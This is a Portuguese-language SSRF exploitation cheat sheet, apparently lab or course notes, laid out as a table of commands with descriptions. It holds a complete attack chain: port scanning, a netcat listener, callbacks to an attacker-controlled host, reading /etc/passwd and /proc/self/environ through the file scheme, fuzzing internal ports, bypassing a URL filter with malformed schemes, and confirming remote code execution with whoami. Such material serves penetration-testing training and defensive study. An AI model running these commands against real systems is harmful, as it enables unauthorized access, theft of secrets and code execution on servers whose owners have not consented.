# SSRF Exploitation Example

`SSRF` nos permite abusar da funcionalidade do servidor para realizar solicitações de recursos internos ou externos em nome do servidor.

| `nmap -sT -T5 --min-rate=10000 -p- --open 10.129.201.238`                                                         | Verificando as portas do destino externo                                            |
| ----------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- |
| `curl -i -s -L http://<TARGET IP>`                                                                                | Interagindo com o alvo e seguindo redirecionamentos                                 |
| `nc -lvnp 8080`                                                                                                   | Iniciando um ouvinte netcat para testar SSRF                                        |
| `curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"`                                         | Teste de vulnerabilidade SSRF                                                       |
| `python3 -m http.server 9090`                                                                                     | Iniciando o servidor web python                                                     |
| `sudo pip3 install twisted`                                                                                       | Instalando o servidor ftp                                                           |
| `sudo python3 -m twisted ftp -p 21 -r .`                                                                          | Iniciando o servidor ftp                                                            |
| `curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"`                              | Recuperando um arquivo remoto por meio do aplicativo de destino (esquema HTTP)      |
| `curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"`                                                       | Recuperando um arquivo local por meio do aplicativo de destino (esquema de arquivo) |
| `for port in {1..65535};do echo $port >> ports.txt;done`                                                          | Gerando uma lista de palavras de portas possíveis                                   |
| `ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30`                            | Fuzzing para portas na interface interna                                            |
| `curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"`                                                    | Interagindo com a interface interna na porta descoberta                             |
| `curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"`                              | Interagindo com o aplicativo interno                                                |
| `curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"`                      | Descobrindo um aplicativo da web escutando no host local                            |
| `curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"`                   | Modificando o URL para ignorar a mensagem de erro                                   |
| `curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -`       | Solicitando a divulgação do arquivo /proc/self/environ no aplicativo interno        |
| `curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"`        | Recuperando um arquivo local por meio do aplicativo de destino                      |
| `curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"` | Confirmando a execução remota de código no host remoto                              |
| `sudo apt-get install jq`                                                                                         | Instalando jq                                                                       |
